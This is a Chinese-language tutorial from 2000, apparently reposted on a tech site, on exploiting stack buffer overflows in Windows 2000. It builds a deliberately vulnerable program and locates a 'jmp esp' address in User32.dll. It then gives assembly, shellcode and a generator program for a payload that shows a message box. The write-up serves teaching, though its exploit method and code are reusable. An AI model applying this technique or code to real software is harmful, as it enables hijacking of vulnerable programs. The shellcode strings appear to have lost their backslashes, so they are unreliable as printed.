您的位置:首頁技術文章
文章詳情頁

Windows 2000緩沖區溢出入門

瀏覽:83日期:2023-08-27 09:25:53

作者:Jason 整理:Backend < mailto: backend@nsfocus.com > 主頁: http://www.nsfocus.com 日期:2000-04-12

前言

我在互聯網上閱讀過許多關于緩沖區溢出的文章。其中的絕大多數都是基于*NIX操作系統平臺的。后來有幸拜讀了ipxodi所著的《Windows系統下的堆棧溢出》(已刊登在綠盟網絡安全月刊2000年第三期中),又碰巧看到了Jason先生的《Windows NT Buffer Overflow's From Start to Finish》,得益匪淺。在翻譯Jason先生的文章時,由于我的機器安裝了Windows 2000 Server,在調試原文程序時發現細節略有出入。因此本文提供的有關源程序、動態鏈接庫、偏移量等是以我在自己機器上調試為準。(對不同版本的動態鏈接庫,都需要編程者自己調試。)

這篇文章應該屬入門級。雖然比較簡單,但對于Windows系統下的緩沖區溢出具有一定的通用性。例如,堆棧溢出地址的確定,跳轉指令的查找和使用,溢出執行代碼的編寫,等等。只要發現Windows系統下存在緩沖區溢出漏洞的程序,基本上都可通過這些步驟進行攻擊測試。但正如ipxodi所指出的,由于Windows下動態鏈接庫的版本更新較快,一定要根據編程者的實際平臺進行調試。在發布此類安全漏洞公告或溢出攻擊程序時,源代碼、系統平臺和動態鏈接庫的版本號都應該盡量列清楚。否則別人調試起來可能會頭疼得很厲害。;)

調試、測試環境

Microsoft Visual C++ 6.0 Microsoft Windows 2000 Server (中文版,內部版本號:2195)

調試、測試過程

首先,寫一個存在緩沖區溢出漏洞的應用程序。該程序可讀取文件的內容,這樣我們就能通過修改被讀取文件的內容來使程序溢出。;-) 在Visual C++開發環境中創建一個新的控制臺應用程序,選擇”An Application that supports MFC”并單擊”Finish”。(注:其實并不一定非是MFC應用程序不可,只不過是我自己的習慣而已。;-)))向這個應用程序中添加一些必要的代碼,如下:

CWinApp theApp;

using namespace std;

void overflow(char* buff);

void overflow(char* buff) { CFile file; CFileException er; if(!file.Open(_T('overflow.txt'),CFile::modeRead,&er)) { er.ReportError(); return; }

int x = file.GetLength(); file.Read(buff,x); }

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0;

// initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T('Fatal Error: MFC initialization failed') << endl; nRetCode = 1; } else { char buff[10]; overflow(buff); } return nRetCode; }

現在先來分析一下上面這段C++代碼,找一找哪里有漏洞。這是一個MFC控制臺應用程序,”main”函數與其它程序會有些不同,但工作機制基本一致。我們主要分析該函數中”else”那段代碼。首先是第一行”char buff[10]”,定義了一個10字符長的本地變量。我們都知道,本地變量的內存空間是在堆棧里分配的。(如果你連這個都不知道,建議不要繼續往下看了。:))然后是將buff變量作為參數調用overflow函數。好了,現在讓我們分析overflow函數。首先是一個Cfile對象,然后是一個CfileException對象。接下來會試圖以讀權限打開當前目錄下的文件”overflow.txt”。如果打開成功,則將該文件中的所有內容讀取到buff數組變量中。發現了問題沒有?buff變量只有10字符長。如果讀取的文件內容長度是100時會發生什么問題呢?對了,“緩沖區溢出”!而且是在堆棧中發生的緩沖區溢出。在后面的測試中就能看到,我們利用這個漏洞能做些什么!;)現在讓我們創建文本文件”overflow.txt”,并將它放到這個應用程序的project目錄下。

在進行下一步前,先讓我們探討一下關于Windows NT/2000的內存結構。NT/2000的每一個進程都在啟動時分配了4GB(0xFFFFFFFF)的虛擬內存。其中的某些部份實際上是由所有進程共享的,例如核心和設備驅動程序區域。但它們都會被映射到每個進程的虛擬地址空間里。實際上沒有進程分配到4GB的物理內存,而是僅當需要時才分配物理內存。因此每一個進程都有各自的4GB虛擬內存,編址范圍從0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF是為NULL指針分配而保留的。訪問該區域內存將導致“非法訪問”錯誤。0x00010000-0x7FFEFFFF是用戶進程空間。EXE文件的映像被加載到其中(起始地址0x00400000),DLL(動態鏈接庫)也被加載到這部份空間。如果DLL或EXE的代碼被裝入到該范圍的某些地址,就能夠被執行。訪問該區域中沒有代碼裝入的地址將導致“非法訪問”錯誤。0x7FFF0000-0x7FFFFFFF是保留區域,對此區域的任何訪問都將導致“非法訪問”錯誤。0x80000000-0xFFFFFFFF僅供操作系統使用。用于加載設備驅動程序和其它核心級代碼。從用戶級應用程序(ring 3)訪問此區域將導致“非法訪問”錯誤。

現在回到”overflow.txt”文件。現在我們將向這個文本文件中不斷添加字符,直到彈出應用程序非法訪問的系統對話框。在這里,填充什么字符是很重要的(原因待會就知道了)。我選擇小寫字母”a”來填充文本文件。我們已經知道緩沖區只有10字符長,那么先填充11個字符。(注意:以debug方式編譯應用程序,否則結果可能會有所不同。)咦?沒反應。我們繼續填充字符……直到填充了18個字符應用程序才崩潰。但這個崩潰對我們的用處還不大。繼續填充!當字符串長度為24時,運行程序并觀察彈出的對話框信息:“”0x61616161”指令引用的”0x61616161”內存。該內存不能為”written”。”我想大家都應該知道”0x61”所代表的ASCII碼是什么吧?;)如果你的機器安裝了Visual C++,單擊“取消”按鈕就能夠調試該應用程序。進入調試環境后,選擇”vIEw”菜單――”debug windows”――”registers”,可打開寄存器窗口。如果你對匯編一竅不通,建議先去找本匯編的書看看。在寄存器窗口里會看到EAX、EBS和EIP等寄存器的內容。EIP當然是最重要的了。EIP的內容就是程序下一步所要執行指令的地址。我們注意到ESP寄存器的值未被破壞,而且似乎離我們的buff變量不遠。下一步我們需要找出ESP的值是從如何處理得到的。

現在開始會復雜些了(而這就是樂趣的源泉!:))。 在main函數的最后一行代碼處設置斷點,因為我們只關心這里所發生的事情。現在啟動調試器,并讓程序無故障運行到該斷點。然后切換到反匯編窗口(按Alt+8,或單擊”View”――”debug windows”――”disassembly”)。另外還要打開內存窗口和寄存器窗口。

0040155B 5F pop edi 0040155C 5E pop esi 0040155D 5B pop ebx 0040155E 83 C4 50 add esp,50h 00401561 3B EC cmp ebp,esp 00401563 E8 7E 00 00 00 call _chkesp (004015e6) 00401568 8B E5 mov esp,ebp 0040156A 5D pop ebp 0040156B C3 ret

以上這些東西是什么?匯編代碼。如果你對匯編一點都不懂,我在這里做一些簡單的說明。第一行是”pop edi”。指令pop用于將僅次于堆棧頂端的數據移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆棧指針。一個pop指令移動堆棧頂端的一個數據單元,在這里是DWord(雙字,4字節),到指定寄存器中,并將堆棧指針加4(因為共移動了4字節)。在執行下一步前,讓我們看一下ESP寄存器。在內存窗口中輸入ESP,就能得到ESP當前指向的地址和內容??匆幌翬SP指向的內存地址中4個字節的內容和EDI寄存器的內容?,F在單步執行”pop.edi”,我們能夠看到EDI寄存器中填入了ESP所指向的內存地址的數值,同時ESP的數值也增加了4。后面的兩條指令是一樣的,只不過寄存器不同罷了。單步執行它們。跟著的三行指令對本文沒什么意義,所以在這里不作解釋。單步執行到指令”mov esp, ebp”,該指令會將EBP的值賦給ESP寄存器。然后是指令”pop ebp”,這條指令很重要。先讓我們在內存窗口輸入ESP,可以看到該內存地址有一串”0x61”('a'的16進制值)。因此0x61616161將被彈出到EBP寄存器中。單步執行該指令可以檢驗我說的沒錯吧?;)好了,雖然我說的沒錯,但好象我們還沒能得到什么有用的東西?現在到了最后一條指令”ret”。指令”ret”在匯編中是返回指令。它是如何知道應該返回到哪里的呢?由當前位于堆棧頂端的數值決定。這條指令如果用pop指令表示的話可以表示為”pop eip”(雖然實際上你無法執行這條pop指令;))。它從ESP所指向內存地址處彈出4字節內容,并賦給EIP寄存器(EIP寄存器是32位指令指針)。這就意味著,不管EIP指向哪個內存地址,該地址處的指令將總會成為下一條指令。我們再次在內存窗口中輸入ESP,看一下將要賦給EIP寄存器的地址的指令是什么。其實我想此時大家都應該知道是4個字節長的0x61串?,F在讓我們單步執行該指令,看到EIP的值為0x61616161,也就是說下一指令地址為0x61616161,但指令卻顯示為???(意為無效指令)。因此再單步執行指令將導致“訪問非法”錯誤?,F在再看看ESP寄存器。它正確地指向了堆棧中的下一個數值。也就是說,下一步工作是確定在使緩沖區成功溢出(EIP=0x61616161)時,ESP所指向的地址是否能夠存放我們的溢出代碼!我們在overflow.txt文件中再次增加4個'a'(共28個'a'),并再次調試程序,在執行到”ret”指令時觀察內存窗口和寄存器窗口,會發現執行”ret”指令后ESP所指向內存地址的內容為4字節長的0x61串。Great!這意味著什么?!這個讓大家自己想去吧。;)))

現在我再回過頭來分析一下。我們剛才使用字符'a'(0x61)作為文本文件的填充內容,以確定存在緩沖區溢出。由于EIP=0x61616161,當我們的程序訪問試圖訪問該地址處的指令時,會因為是無效指令而導致系統出錯。但如果所指向的地址存在可執行代碼時又如何呢?例如裝入內存的DLL代碼等。哈哈,這樣的話就會執行這些指令,從而可能做一些別人想像不到的事!;)

好了,到目前為止,我們已經能控制EIP的數值,也知道ESP指向的堆棧位置,和能夠向堆棧寫入任意數據。那么下一步做什么呢?當然是找到使系統執行我們的溢出代碼的方法了。如果你看過ipxodi所著的文章《Windows系統下的堆棧溢出》,就會知道采用跳轉指令(jmp esp)是最好不過的了。原因在這里就不再多講,請大家仔細閱讀《Windows系統下的堆棧溢出》就清楚了。正如前面分析過的,這是因為執行完ret指令后ESP正好能夠指向我們的溢出代碼?。ā叮也坏剑覜]分析過?在本文中查找單詞”Great”吧,呵呵。)現在我們就要在應用程序的內存空間中找到含有”jmp esp”指令的地址。首先當然是確定這條指令的機器碼了。怎么確定?這也要教?好吧,教就教吧。僅此一次,下不違例。;)其實方法很簡單,按以下步驟就可以了。先在Visual C++中創建新的應用程序。(當然還是控制臺程序,還是支持MFC,這是我的習慣。呵呵。)輸入以下代碼:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0;

// initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T('Fatal Error: MFC initialization failed') << endl; nRetCode = 1; } else { return 0; __asm jmp esp } return nRetCode; }

下一步是如何在我們的進程空間里找到這串機器碼。也是非常簡單的,只要修改一下代碼即可:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0;

// initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T('Fatal Error: MFC initialization failed') << endl; nRetCode = 1; } else { #if 0 return 0; __asm jmp esp

#else

bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T('User32');

h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<'ERROR LOADING DLL: '<<dllname<<endl; return 1; } we_loaded_it = true; }

BYTE* ptr = (BYTE*)h; bool done = false; for(int y = 0;!done;y++) { try { if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) { int pos = (int)ptr + y; cout<<'OPCODE found at 0x'<<hex<<pos<<endl; } } catch(...) { cout<<'END OF '<<dllname<<' MEMORY REACHED'<<endl; done = true; } }

if(we_loaded_it) FreeLibrary(h); #endif } return nRetCode; }

也許你會奇怪,為什么不用Kernel32.dll呢?它不是更通用嗎?我剛開始時也是在動態鏈接庫Kernel32的進程空間尋找”FF E4”,但居然一處也找不到?。ǘ赪indows NT 4中找到能至少6處!:(()后來我嘗試在User32.dll中尋找,終于找到了一處。運行后程序輸出:

OPCODE found at 0x77e2e32a END OF User32 MEMORY REACHED

注意,不同的動態鏈接庫和版本,得到的結果可能會不一樣。我的動態鏈接庫User32.dll版本為5.00.2180.1?,F在用16進制文件編輯器(如Ultra Edit)打開overflow.txt文本文件,在第21字符位置開始輸入2A E3 E2 77。(為什么要在第21字符位置?為什么要輸入2A E3 E2 77?我不想解釋了,如果你連這都看不懂,建議你不要再研究緩沖區溢出了?。┪覀兿缺A艉竺娴乃膫€'a'字符。使用調試器運行程序,執行到”ret”命令處停下來,看看下一條指令是否為”jmp esp”,而且執行”jmp esp”前esp的內容是否為0x61616161。如果一切正確,OK, so far so good. ;)讓我們來進行更刺激的事情――編寫緩沖區溢出后的執行代碼。

首先,你必須確保所有需要的動態鏈接庫都被加載到進程空間中。一種方法是利用該程序本身調用的動態鏈接庫;另一種方法是在溢出代碼中加載該動態鏈接庫。(在ipxodi的《Windows系統下的堆棧溢出》中有詳細介紹。)在這里我采用第一種方法。為什么?因為簡單嘛。;)

呵呵,為了編程簡單,同時本文的主要目的是教學,重點在于原理,所以代碼執行時僅是彈出一個消息框。如果想編寫更具攻擊性或更復雜的執行代碼,可參閱ipxodi所著的《Windows系統下的堆棧溢出》和綠色兵團整理的《高級緩沖區溢出》。不過,后果自負!

首先我們要找到如何在代碼中調用MessageBox函數。根據Windows API文檔,MessageBox依賴于user32.lib,也就是說它位于user32.dll動態鏈接庫中。啟動depends工具,打開將要被溢出的應用程序,可以發現它將加載user32.dll。然后尋找MessageBox函數的內存位置。在我機器的user32.dll中,MessageBoxA(ASCII版本)函數的偏移量(Entry Point)為0x00033D68。User32.dll在內存中的起始地址為0x77DF0000。將兩者相加即可得到MessageBox函數的絕對內存地址為0x77E23D68。所以我們需要在匯編代碼中正確設置堆棧并調用0x77E23D68。根據對Steve Fewer的winamp緩沖區溢出代碼學習和研究,我寫出來的匯編代碼如下:

push ebp push ecx mov ebp,esp sub esp,54h xor ecx,ecx mov byte ptr [ebp-14h],'S' mov byte ptr [ebp-13h],'u' mov byte ptr [ebp-12h],'c' mov byte ptr [ebp-11h],'c' mov byte ptr [ebp-10h],'e' mov byte ptr [ebp-0Fh],'s' mov byte ptr [ebp-0Eh],'s' mov byte ptr [ebp-0Dh],cl mov byte ptr [ebp-0Ch],'W' mov byte ptr [ebp-0Bh],'e' mov byte ptr [ebp-0Ah],' ' mov byte ptr [ebp-9],'G' mov byte ptr [ebp-8],'o' mov byte ptr [ebp-7],'t' mov byte ptr [ebp-6],' ' mov byte ptr [ebp-5],'I' mov byte ptr [ebp-4],'t' mov byte ptr [ebp-3],'!' mov byte ptr [ebp-2],cl push ecx lea eax,[ebp-14h] push eax lea eax,[ebp-0Ch] push eax push ecx mov dword ptr [ebp-18h],0x 77E23D68 call dword ptr[ebp-18h] mov esp,ebp pop ecx pop ebp

以上匯編代碼將調用位于0x77E23D68的MessageBox函數,使其彈出標題為”Success”、消息內容為”We Got It!”的消息框。必須要注意的是,我們不能使用0(NULL)作為字符串中的字符,解決方法請參考ipxodi所著的《Windows系統下的堆棧溢出》和綠色兵團整理的《高級緩沖區溢出》?,F在,我們要得到這些匯編代碼的機器碼。方法前面已經介紹過了,不再重復。最后整理得到的機器碼為:

x55x51x8bxecx83xecx54x33xc9xc6x45xecx53xc6x45xedx75xc6x45 xeex63xc6x45xefx63xc6x45xf0x65xc6x45xf1x73xc6x45xf2x73x88x4d xf3xc6x45xf4x57xc6x45xf5x65xc6x45xf6x20xc6x45xf7x47xc6x45xf8 x6fxc6x45xf9x74xc6x45xfax20xc6x45xfbx49xc6x45xfcx74xc6x45xfd x21x88x4dxfex51x8dx45xecx50x8dx45xf4x50x51xc7x45xe8x68x3d xe2x77xffx55xe8x8bxe5x59x5d

如果現在將這輸入到overflow.txt文件中,將能夠成功溢出,并彈出我們定制的消息框。但當單擊”確定”按鈕后,應用程序將崩潰。要避免出現這種情況,我們需要調用exit函數以正常關閉程序。查閱Windows API文檔可知,需要導入msvcrt.lib,因此肯定在msvcrt.dll動態鏈接庫中。使用depends工具會發現應用程序加載了msvcrtd.dll而不是msvcrt.dll,這是因為我們應用程序現在使用的是調試版本。但兩者沒太多區別。Msvcrtd.dll在內存中的起始地址為0x10200000,exit函數的偏移量(Entry Point)為0x0000AF90,則exit函數的絕對地址為0x1020AF90。故匯編代碼為:

push ebp push ecx mov ebp,esp sub esp,10h xor ecx,ecx push ecx mov dword ptr [ebp-4],0x1020AF90 call dword ptr[ebp-4] mov esp,ebp pop ecx pop ebp

以上代碼以0為參數調用exit函數,使應用程序以代碼0退出運行。整理后得到的機器碼如下:

x55x51x8bxecx83xecx10x33xc9x51xc7x45xfcx90xafx20x10xffx55xfcx8bxe5x59x5d

現在將上面兩串機器碼輸入到overflow.txt文件中(以第25個字節為起始位置。這次不用問為什么了吧?!如果還不懂,復習一下前面的內容!)

如果你嫌麻煩,可以使用以下程序(怎么樣,夠朋友了吧?;)):

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0;

// initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { cerr << _T('Fatal Error: MFC initialization failed') << endl; nRetCode = 1; } else { char buffer[20]; //0x77e2e32a //user32.dll JMP ESP char eip[] = 'x2axe3xe2x77'; char sploit[] = 'x55x51x8bxecx83xecx54x33xc9xc6x45xecx53xc6x45xedx75xc6x45xee' 'x63xc6x45xefx63xc6x45xf0x65xc6x45xf1x73xc6x45xf2x73x88x4dxf3xc6' 'x45xf4x57xc6x45xf5x65xc6x45xf6x20xc6x45xf7x47xc6x45xf8x6fxc6x45' 'xf9x74xc6x45xfax20xc6x45xfbx49xc6x45xfcx74xc6x45xfdx21x88x4dxfe' 'x51x8dx45xecx50x8dx45xf4x50x51xc7x45xe8x68x3dxe2x77xffx55xe8x8b' 'xe5x59x5dx55x51x8bxecx83xecx10x33xc9x51xc7x45xfcx90xafx20x10xff' 'x55xfcx8bxe5x59x5d';

for(int x=0;x<20;x++) { buffer[x] = 0x90; }

CFile file; file.Open('overflow.txt',CFile::modeCreate | CFile::modeWrite);

file.Write(buffer,20); file.Write(eip,strlen(eip)); file.Write(sploit,strlen(sploit));

file.Close(); }

return nRetCode; }

在確保所有文件的內容和位置都準確無誤后,運行被溢出程序…………哈哈,我們的消息框彈出來了!?。螕簟贝_定”按鈕,程序正常關閉!??!

后記

最近訪問國外的安全站點、黑客站點,發現國外越來越多地關注Windows系統的安全,研究Windows系統漏洞的也越來越多,包括L0pht、Cerberus等。特別是在一些黑客性質很重的站點,針對Windows 9x/NT/2k的攻擊程序一堆堆的。真的有點不敢想像,如果Micro$oft公開所有Windows的源代碼,會有多少安全漏洞被發現。而我想,根據國內使用Windows平臺的普遍性,問題將會更加嚴重。因此我覺得國內對Windows的安全性研究應該抓得更緊些!雖然實際情況令人沮喪……:(

這篇文章本來不打算整理的,因為我自己也是剛開始研究Windows系統下的緩沖區溢出,掌握的東西不多,擔心被Windows高手取笑。后來倒是自己想通了:只有“班門弄斧”,才能知道自己的不足,才能更快地取得進步。希望眾Windows高手、黑客高手多多指教。象我們綠色兵團里的ipxodi、袁哥、zer9等,都是Windows平臺下的安全專家,如果本文能起到“拋磚引玉”的作用,我便很滿足了。:)

標簽: Windows系統
国产综合久久一区二区三区